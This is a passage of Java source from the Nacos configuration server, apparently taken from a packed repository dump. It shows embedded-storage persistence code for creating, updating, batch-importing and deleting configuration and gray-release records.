context.putUpdateParameter(FieldConstant.APP_NAME, appNameTmp);\n            \n            context.putWhereParameter(FieldConstant.DATA_ID, configInfo.getDataId());\n            context.putWhereParameter(FieldConstant.GROUP_ID, configInfo.getGroup());\n            context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n            context.putWhereParameter(FieldConstant.GRAY_NAME, grayNameTmp);\n            context.putWhereParameter(FieldConstant.GRAY_RULE, grayRuleTmp);\n            context.putWhereParameter(FieldConstant.MD5, configInfo.getMd5());\n            \n            final MapperResult mapperResult = configInfoGrayMapper.updateConfigInfo4GrayCas(context);\n            \n            EmbeddedStorageContextUtils.onModifyConfigGrayInfo(configInfo, grayNameTmp, grayRuleTmp, srcIp, time);\n            EmbeddedStorageContextHolder.addSqlContext(mapperResult.getSql(), mapperResult.getParamList().toArray());\n            \n            Boolean success = databaseOperate.blockUpdate();\n            if (success) {\n                if (!GRAY_MIGRATE_FLAG.get()) {\n                    Timestamp now = new Timestamp(System.currentTimeMillis());\n                    historyConfigInfoPersistService.insertConfigHistoryAtomic(oldConfigAllInfo4Gray.getId(),\n                        oldConfigAllInfo4Gray, srcIp, srcUser, now, \"U\", Constants.GRAY, grayNameTmp,\n                        ConfigExtInfoUtil.getExtInfoFromGrayInfo(oldConfigAllInfo4Gray.getGrayName(),\n                            oldConfigAllInfo4Gray.getGrayRule(), oldConfigAllInfo4Gray.getSrcUser()));\n                }\n                return getGrayOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp, grayNameTmp);\n            } else {\n                return new ConfigOperateResult(false);\n            }\n            \n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigInfoGrayWrapper findConfigInfo4Gray(final String dataId, final String group, final String tenant,\n            final String grayName) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        final String sql = configInfoGrayMapper.select(\n                Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"gray_name\", \"gray_rule\", \"app_name\", \"content\",\n                        \"md5\", \"gmt_modified\", \"src_user\", \"encrypted_data_key\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\"));\n        \n        return databaseOperate.queryOne(sql, new Object[] {dataId, group, tenantTmp, grayNameTmp},\n                CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER);\n    }\n    \n    @Override\n    public int configInfoGrayCount() {\n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        String sql = configInfoGrayMapper.count(null);\n        Integer result = databaseOperate.queryOne(sql, Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoBetaCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public Page<ConfigInfoGrayWrapper> findAllConfigInfoGrayForDumpAll(final int pageNo, final int pageSize) {\n        final int startRow = (pageNo - 1) * pageSize;\n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        String sqlCountRows = configInfoGrayMapper.count(null);\n        MapperResult sqlFetchRows = configInfoGrayMapper.findAllConfigInfoGrayForDumpAllFetchRows(\n                new MapperContext(startRow, pageSize));\n        \n        PaginationHelper<ConfigInfoGrayWrapper> helper = createPaginationHelper();\n        return helper.fetchPageLimit(sqlCountRows, sqlFetchRows.getSql(), sqlFetchRows.getParamList().toArray(), pageNo,\n                pageSize, CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER);\n        \n    }\n    \n    @Override\n    public List<String> findConfigInfoGrays(String dataId, String group, String tenant) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        final String sql = configInfoGrayMapper.select(Collections.singletonList(\"gray_name\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        \n        return databaseOperate.queryMany(sql, new Object[] {dataId, group, tenantTmp}, String.class);\n    }\n    \n    @Override\n    public List<ConfigInfoGrayWrapper> findChangeConfig(final Timestamp startTime, long lastMaxId, final int pageSize) {\n        try {\n            ConfigInfoGrayMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_GRAY);\n            \n            MapperContext context = new MapperContext();\n            context.putWhereParameter(FieldConstant.START_TIME, startTime);\n            context.putWhereParameter(FieldConstant.PAGE_SIZE, pageSize);\n            context.putWhereParameter(FieldConstant.LAST_MAX_ID, lastMaxId);\n            \n            MapperResult mapperResult = configInfoMapper.findChangeConfig(context);\n            return databaseOperate.queryMany(mapperResult.getSql(), mapperResult.getParamList().toArray(),\n                    CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER);\n        } catch (DataAccessException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigInfoPersistServiceImpl.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.embedded;\n\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.common.constant.Symbols;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.Pair;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.constant.ParametersField;\nimport com.alibaba.nacos.config.server.enums.FileTypeEnum;\nimport com.alibaba.nacos.config.server.exception.NacosConfigException;\nimport com.alibaba.nacos.config.server.model.ConfigAdvanceInfo;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.sql.EmbeddedStorageContextUtils;\nimport com.alibaba.nacos.config.server.utils.ConfigExtInfoUtil;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.core.distributed.id.IdGeneratorManager;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnEmbeddedStorage;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.persistence.model.event.DerbyImportEvent;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedPaginationHelperImpl;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.ContextConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoMapper;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigTagsRelationMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.plugin.encryption.handler.EncryptionHandler;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.apache.commons.collections.CollectionUtils;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.Optional;\nimport java.util.Set;\nimport java.util.function.BiConsumer;\nimport java.util.stream.Collectors;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_ADVANCE_INFO_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_ALL_INFO_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.utils.LogUtil.DEFAULT_LOG;\nimport static com.alibaba.nacos.config.server.utils.PropertyUtil.CONFIG_MIGRATE_FLAG;\nimport static com.alibaba.nacos.persistence.repository.RowMapperManager.MAP_ROW_MAPPER;\n\n/**\n * EmbeddedConfigInfoPersistServiceImpl.\n *\n * @author lixiaoshuang\n */\n@SuppressWarnings(\"checkstyle:linelength\")\n@Conditional(value = ConditionOnEmbeddedStorage.class)\n@Service(\"embeddedConfigInfoPersistServiceImpl\")\npublic class EmbeddedConfigInfoPersistServiceImpl implements ConfigInfoPersistService {\n    \n    public static final String SPOT = \".\";\n    \n    private static final String RESOURCE_CONFIG_INFO_ID = \"config-info-id\";\n    \n    private static final String RESOURCE_CONFIG_HISTORY_ID = \"config-history-id\";\n    \n    private static final String RESOURCE_CONFIG_TAG_RELATION_ID = \"config-tag-relation-id\";\n    \n    private static final String RESOURCE_APP_CONFIGDATA_RELATION_SUBS = \"app-configdata-relation-subs\";\n    \n    private static final String RESOURCE_CONFIG_BETA_ID = \"config-beta-id\";\n    \n    private static final String RESOURCE_NAMESPACE_ID = \"namespace-id\";\n    \n    private static final String RESOURCE_USER_ID = \"user-id\";\n    \n    private static final String RESOURCE_ROLE_ID = \"role-id\";\n    \n    private static final String RESOURCE_PERMISSIONS_ID = \"permissions_id\";\n    \n    private static final String DATA_ID = \"dataId\";\n    \n    private static final String GROUP = \"group\";\n    \n    private static final String APP_NAME = \"appName\";\n    \n    private static final String CONTENT = \"content\";\n    \n    private static final String TENANT = \"tenant_id\";\n    \n    private static final Set<String> SYSTEM_GROUP = Set.of(\"mcp-server\", \"mcp-server-versions\", \"mcp-tools\");\n    \n    private final DatabaseOperate databaseOperate;\n    \n    private final IdGeneratorManager idGeneratorManager;\n    \n    MapperManager mapperManager;\n    \n    private DataSourceService dataSourceService;\n    \n    private HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    /**\n     * The constructor sets the dependency injection order.\n     *\n     * @param databaseOperate    databaseOperate.\n     * @param idGeneratorManager {@link IdGeneratorManager}\n     */\n    public EmbeddedConfigInfoPersistServiceImpl(DatabaseOperate databaseOperate, IdGeneratorManager idGeneratorManager,\n            @Qualifier(\"embeddedHistoryConfigInfoPersistServiceImpl\") HistoryConfigInfoPersistService historyConfigInfoPersistService) {\n        this.databaseOperate = databaseOperate;\n        this.idGeneratorManager = idGeneratorManager;\n        idGeneratorManager.register(RESOURCE_CONFIG_INFO_ID, RESOURCE_CONFIG_HISTORY_ID,\n                RESOURCE_CONFIG_TAG_RELATION_ID, RESOURCE_APP_CONFIGDATA_RELATION_SUBS, RESOURCE_CONFIG_BETA_ID,\n                RESOURCE_NAMESPACE_ID, RESOURCE_USER_ID, RESOURCE_ROLE_ID, RESOURCE_PERMISSIONS_ID);\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n        this.historyConfigInfoPersistService = historyConfigInfoPersistService;\n        NotifyCenter.registerToSharePublisher(DerbyImportEvent.class);\n    }\n    \n    @Override\n    public <E> PaginationHelper<E> createPaginationHelper() {\n        return new EmbeddedPaginationHelperImpl<>(databaseOperate);\n    }\n    \n    @Override\n    public String generateLikeArgument(String s) {\n        String underscore = \"_\";\n        if (s.contains(underscore)) {\n            s = s.replaceAll(underscore, \"\\\\\\\\_\");\n        }\n        String fuzzySearchSign = \"\\\\*\";\n        String sqlLikePercentSign = \"%\";\n        if (s.contains(PATTERN_STR)) {\n            return s.replaceAll(fuzzySearchSign, sqlLikePercentSign);\n        } else {\n            return s;\n        }\n    }\n    \n    @Override\n    public ConfigInfoStateWrapper findConfigInfoState(final String dataId, final String group, final String tenant) {\n        final String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        \n        final String sql = configInfoMapper.select(\n                Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"gmt_modified\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        return databaseOperate.queryOne(sql, new Object[] {dataId, group, tenantTmp},\n                CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER);\n        \n    }\n    \n    private ConfigOperateResult getConfigInfoOperateResult(String dataId, String group, String tenant) {\n        ConfigInfoStateWrapper configInfo4 = this.findConfigInfoState(dataId, group, tenant);\n        if (configInfo4 == null) {\n            return new ConfigOperateResult(false);\n        }\n        return new ConfigOperateResult(configInfo4.getId(), configInfo4.getLastModified());\n        \n    }\n    \n    @Override\n    public ConfigOperateResult addConfigInfo(final String srcIp, final String srcUser, final ConfigInfo configInfo,\n            final Map<String, Object> configAdvanceInfo) {\n        return addConfigInfo(srcIp, srcUser, configInfo, configAdvanceInfo, null);\n    }\n    \n    private ConfigOperateResult addConfigInfo(final String srcIp, final String srcUser, final ConfigInfo configInfo,\n            final Map<String, Object> configAdvanceInfo, BiConsumer<Boolean, Throwable> consumer) {\n        \n        try {\n            final String tenantTmp =\n                    StringUtils.isBlank(configInfo.getTenant()) ? StringUtils.EMPTY : configInfo.getTenant();\n            configInfo.setTenant(tenantTmp);\n            \n            long configId = idGeneratorManager.nextId(RESOURCE_CONFIG_INFO_ID);\n            long hisId = idGeneratorManager.nextId(RESOURCE_CONFIG_HISTORY_ID);\n            \n            addConfigInfoAtomic(configId, srcIp, srcUser, configInfo, configAdvanceInfo);\n            String configTags = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"config_tags\");\n            \n            addConfigTagsRelation(configId, configTags, configInfo.getDataId(), configInfo.getGroup(),\n                    configInfo.getTenant());\n            Timestamp now = new Timestamp(System.currentTimeMillis());\n            if (!CONFIG_MIGRATE_FLAG.get()) {\n                historyConfigInfoPersistService.insertConfigHistoryAtomic(hisId, configInfo, srcIp, srcUser, now, \"I\",\n                        Constants.FORMAL, null,\n                        ConfigExtInfoUtil.getExtraInfoFromAdvanceInfoMap(configAdvanceInfo, srcUser));\n            }\n            EmbeddedStorageContextUtils.onModifyConfigInfo(configInfo, srcIp, now);\n            boolean result = databaseOperate.blockUpdate(consumer);\n            if (!result) {\n                return new ConfigOperateResult(false);\n            }\n            return getConfigInfoOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp);\n            \n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfoMetadata(String dataId, String group, String tenant, String configTags,\n            String description) throws NacosException {\n        try {\n            ConfigInfoWrapper configInfoWrapper = findConfigInfo(dataId, group, tenant);\n            if (configInfoWrapper == null) {\n                throw new NacosException(NacosException.NOT_FOUND,\n                        \"config is not found for dataId=\" + dataId + \", group=\" + group);\n            }\n            Long configId = configInfoWrapper.getId();\n            Timestamp now = new Timestamp(System.currentTimeMillis());\n            if (description != null) {\n                ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                        TableConstant.CONFIG_INFO);\n                final String sql = configInfoMapper.update(Arrays.asList(\"gmt_modified@NOW()\", \"c_desc\"),\n                        Arrays.asList(\"id\"));\n                \n                final Object[] args = new Object[] {description, configId};\n                EmbeddedStorageContextHolder.addSqlContext(sql, args);\n            }\n            if (configTags != null) {\n                removeTagByIdAtomic(configId);\n                addConfigTagsRelation(configId, configTags, configInfoWrapper.getDataId(), configInfoWrapper.getGroup(),\n                        configInfoWrapper.getTenant());\n            }\n            EmbeddedStorageContextUtils.onModifyConfigInfo(configInfoWrapper, null, now);\n            databaseOperate.blockUpdate();\n            return getConfigInfoOperateResult(configInfoWrapper.getDataId(), configInfoWrapper.getGroup(), tenant);\n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdate(String srcIp, String srcUser, ConfigInfo configInfo,\n            Map<String, Object> configAdvanceInfo) {\n        if (Objects.isNull(\n                findConfigInfoState(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant()))) {\n            return addConfigInfo(srcIp, srcUser, configInfo, configAdvanceInfo);\n        } else {\n            return updateConfigInfo(configInfo, srcIp, srcUser, configAdvanceInfo);\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateCas(String srcIp, String srcUser, ConfigInfo configInfo,\n            Map<String, Object> configAdvanceInfo) {\n        if (Objects.isNull(\n                findConfigInfoState(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant()))) {\n            return addConfigInfo(srcIp, srcUser, configInfo, configAdvanceInfo);\n        } else {\n            return updateConfigInfoCas(configInfo, srcIp, srcUser, configAdvanceInfo);\n        }\n    }\n    \n    @Override\n    public long addConfigInfoAtomic(final long id, final String srcIp, final String srcUser,\n            final ConfigInfo configInfo, Map<String, Object> configAdvanceInfo) {\n        final String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        final String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        final String desc = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"desc\");\n        final String use = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"use\");\n        final String effect = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"effect\");\n        final String type = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"type\");\n        final String schema = configAdvanceInfo == null ? null : (String) configAdvanceInfo.get(\"schema\");\n        final String md5Tmp = MD5Utils.md5Hex(configInfo.getContent(), Constants.PERSIST_ENCODE);\n        final String encryptedDataKey =\n                configInfo.getEncryptedDataKey() == null ? StringUtils.EMPTY : configInfo.getEncryptedDataKey();\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        \n        final String sql = configInfoMapper.insert(\n                Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"md5\", \"src_ip\",\n                        \"src_user\", \"gmt_create@NOW()\", \"gmt_modified@NOW()\", \"c_desc\", \"c_use\", \"effect\", \"type\",\n                        \"c_schema\", \"encrypted_data_key\"));\n        final Object[] args = new Object[] {id, configInfo.getDataId(), configInfo.getGroup(), tenantTmp, appNameTmp,\n                configInfo.getContent(), md5Tmp, srcIp, srcUser, desc, use, effect, type, schema, encryptedDataKey};\n        EmbeddedStorageContextHolder.addSqlContext(sql, args);\n        return id;\n    }\n    \n    @Override\n    public void addConfigTagRelationAtomic(long configId, String tagName, String dataId, String group, String tenant) {\n        ConfigTagsRelationMapper configTagsRelationMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.CONFIG_TAGS_RELATION);\n        final String sql = configTagsRelationMapper.insert(\n                Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"));\n        final Object[] args = new Object[] {configId, tagName, StringUtils.EMPTY, dataId, group, tenant};\n        EmbeddedStorageContextHolder.addSqlContext(sql, args);\n    }\n    \n    @Override\n    public void addConfigTagsRelation(long configId, String configTags, String dataId, String group, String tenant) {\n        if (StringUtils.isNotBlank(configTags)) {\n            String[] tagArr = configTags.split(\",\");\n            for (int i = 0; i < tagArr.length; i++) {\n                addConfigTagRelationAtomic(configId, tagArr[i], dataId, group, tenant);\n            }\n        }\n    }\n    \n    @Override\n    public Map<String, Object> batchInsertOrUpdate(List<ConfigAllInfo> configInfoList, String srcUser, String srcIp,\n            Map<String, Object> configAdvanceInfo, SameConfigPolicy policy) throws NacosException {\n        int succCount = 0;\n        int skipCount = 0;\n        List<Map<String, String>> failData = null;\n        List<Map<String, String>> skipData = null;\n        \n        final BiConsumer<Boolean, Throwable> callFinally = (result, t) -> {\n            if (t != null) {\n                throw new NacosRuntimeException(0, t);\n            }\n        };\n        \n        for (int i = 0; i < configInfoList.size(); i++) {\n            ConfigAllInfo configInfo = configInfoList.get(i);\n            try {\n                ParamUtils.checkParam(configInfo.getDataId(), configInfo.getGroup(), \"datumId\",\n                        configInfo.getContent());\n            } catch (Throwable e) {\n                DEFAULT_LOG.error(\"data verification failed\", e);\n                throw e;\n            }\n            ConfigInfo configInfo2Save = new ConfigInfo(configInfo.getDataId(), configInfo.getGroup(),\n                    configInfo.getTenant(), configInfo.getAppName(), configInfo.getContent());\n            configInfo2Save.setEncryptedDataKey(\n                    configInfo.getEncryptedDataKey() == null ? \"\" : configInfo.getEncryptedDataKey());\n            String type = configInfo.getType();\n            if (StringUtils.isBlank(type)) {\n                // simple judgment of file type based on suffix\n                if (configInfo.getDataId().contains(SPOT)) {\n                    String extName = configInfo.getDataId().substring(configInfo.getDataId().lastIndexOf(SPOT) + 1);\n                    FileTypeEnum fileTypeEnum = FileTypeEnum.getFileTypeEnumByFileExtensionOrFileType(extName);\n                    type = fileTypeEnum.getFileType();\n                } else {\n                    type = FileTypeEnum.getFileTypeEnumByFileExtensionOrFileType(null).getFileType();\n                }\n            }\n            if (configAdvanceInfo == null) {\n                configAdvanceInfo = new HashMap<>(16);\n            }\n            configAdvanceInfo.put(\"type\", type);\n            configAdvanceInfo.put(\"desc\", configInfo.getDesc());\n            try {\n                ConfigInfoStateWrapper foundCfg = findConfigInfoState(configInfo2Save.getDataId(),\n                        configInfo2Save.getGroup(), configInfo2Save.getTenant());\n                if (foundCfg != null) {\n                    throw new Throwable(\"DuplicateKeyException: config already exists, should be overridden\");\n                }\n                addConfigInfo(srcIp, srcUser, configInfo2Save, configAdvanceInfo, callFinally);\n                succCount++;\n            } catch (Throwable e) {\n                if (!StringUtils.contains(e.toString(), \"DuplicateKeyException\")) {\n                    throw new NacosException(NacosException.SERVER_ERROR, e);\n                }\n                // uniqueness constraint conflict\n                if (SameConfigPolicy.ABORT.equals(policy)) {\n                    failData = new ArrayList<>();\n                    skipData = new ArrayList<>();\n                    Map<String, String> faileditem = new HashMap<>(2);\n                    faileditem.put(\"dataId\", configInfo2Save.getDataId());\n                    faileditem.put(\"group\", configInfo2Save.getGroup());\n                    failData.add(faileditem);\n                    for (int j = (i + 1); j < configInfoList.size(); j++) {\n                        ConfigInfo skipConfigInfo = configInfoList.get(j);\n                        Map<String, String> skipitem = new HashMap<>(2);\n                        skipitem.put(\"dataId\", skipConfigInfo.getDataId());\n                        skipitem.put(\"group\", skipConfigInfo.getGroup());\n                        skipData.add(skipitem);\n                        skipCount++;\n                    }\n                    break;\n                } else if (SameConfigPolicy.SKIP.equals(policy)) {\n                    skipCount++;\n                    if (skipData == null) {\n                        skipData = new ArrayList<>();\n                    }\n                    Map<String, String> skipitem = new HashMap<>(2);\n                    skipitem.put(\"dataId\", configInfo2Save.getDataId());\n                    skipitem.put(\"group\", configInfo2Save.getGroup());\n                    skipData.add(skipitem);\n                } else if (SameConfigPolicy.OVERWRITE.equals(policy)) {\n                    succCount++;\n                    updateConfigInfo(configInfo2Save, srcIp, srcUser, configAdvanceInfo);\n                }\n            }\n        }\n        Map<String, Object> result = new HashMap<>(4);\n        result.put(\"succCount\", succCount);\n        result.put(\"skipCount\", skipCount);\n        if (failData != null && !failData.isEmpty()) {\n            result.put(\"failData\", failData);\n        }\n        if (skipData != null && !skipData.isEmpty()) {\n            result.put(\"skipData\", skipData);\n        }\n        return result;\n    }\n    \n    @Override\n    public void removeConfigInfo(final String dataId, final String group, final String tenant, final String srcIp,\n            final String srcUser) {\n        final Timestamp time = new Timestamp(System.currentTimeMillis());\n        ConfigAllInfo oldConfigAllInfo = findConfigAllInfo(dataId, group, tenant);\n        if (Objects.nonNull(oldConfigAllInfo)) {\n            try {\n                String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n                \n                removeConfigInfoAtomic(dataId, group, tenantTmp, srcIp, srcUser);\n                removeTagByIdAtomic(oldConfigAllInfo.getId());\n                if (!CONFIG_MIGRATE_FLAG.get()) {\n                    historyConfigInfoPersistService.insertConfigHistoryAtomic(oldConfigAllInfo.getId(),\n                            oldConfigAllInfo, srcIp, srcUser, time, \"D\", Constants.FORMAL, null,\n                            ConfigExtInfoUtil.getExtInfoFromAllInfo(oldConfigAllInfo));\n                }\n                \n                EmbeddedStorageContextUtils.onDeleteConfigInfo(tenantTmp, group, dataId, srcIp, time);\n                \n                boolean result = databaseOperate.update(EmbeddedStorageContextHolder.getCurrentSqlContext());\n                if (!result) {\n                    throw new NacosConfigException(\"config deletion failed\");\n                }\n            } finally {\n                EmbeddedStorageContextHolder.cleanAllContext();\n            }\n        }\n    }\n    \n    @Override\n    public List<ConfigAllInfo> removeConfigInfoByIds(final List<Long> ids, final String srcIp, final String srcUser) {\n        if (CollectionUtils.isEmpty(ids)) {\n            return null;\n        }\n        ids.removeAll(Collections.singleton(null));\n        final Timestamp time = new Timestamp(System.currentTimeMillis());\n        try {\n            String idsStr = StringUtils.join(ids, StringUtils.COMMA);\n            List<ConfigAllInfo> oldConfigAllInfoList = findAllConfigInfo4Export(null, null, null, null, ids);\n            if (CollectionUtils.isNotEmpty(oldConfigAllInfoList)) {\n                removeConfigInfoByIdsAtomic(idsStr);\n                for (ConfigAllInfo configAllInfo : oldConfigAllInfoList) {\n                    removeTagByIdAtomic(configAllInfo.getId());\n                    historyConfigInfoPersistService.insertConfigHistoryAtomic(configAllInfo.getId(), configAllInfo,\n                            srcIp, srcUser, time, \"D\", Constants.FORMAL, null,\n                            ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfo));\n                }\n            }\n            \n            EmbeddedStorageContextUtils.onBatchDeleteConfigInfo(oldConfigAllInfoList);\n            boolean result = databaseOperate.update(EmbeddedStorageContextHolder.getCurrentSqlContext());\n            if (!result) {\n                throw new NacosConfigException(\"Failed to config batch deletion\");\n            }\n            \n            return oldConfigAllInfoList;\n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public void removeTagByIdAtomic(long id) {\n        ConfigTagsRelationMapper configTagsRelationMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.CONFIG_TAGS_RELATION);\n        final String sql = configTagsRelationMapper.delete(Collections.singletonList(\"id\"));\n        final Object[] args = new Object[] {id};\n        EmbeddedStorageContextHolder.addSqlContext(sql, args);\n    }\n    \n    @Override\n    public void removeConfigInfoAtomic(final String dataId, final String group, final String tenant, final String srcIp,\n            final String srcUser) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        final String sql = configInfoMapper.delete(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        final Object[] args = new Object[] {dataId, group, tenantTmp};\n        \n        EmbeddedStorageContextHolder.addSqlContext(sql, args);\n    }\n    \n    @Override\n    public void removeConfigInfoByIdsAtomic(final String ids) {\n        if (StringUtils.isBlank(ids)) {\n            return;\n        }\n        List<Long> paramList = new ArrayList<>();\n        String[] idArr = ids.split(\",\");\n        for (int i = 0; i < idArr.length; i++) {\n            paramList.add(Long.parseLong(idArr[i]));\n        }\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.IDS, paramList);\n        MapperResult result = configInfoMapper.removeConfigInfoByIdsAtomic(context);\n        EmbeddedStorageContextHolder.addSqlContext(result.getSql(), result.getParamList().toArray());\n    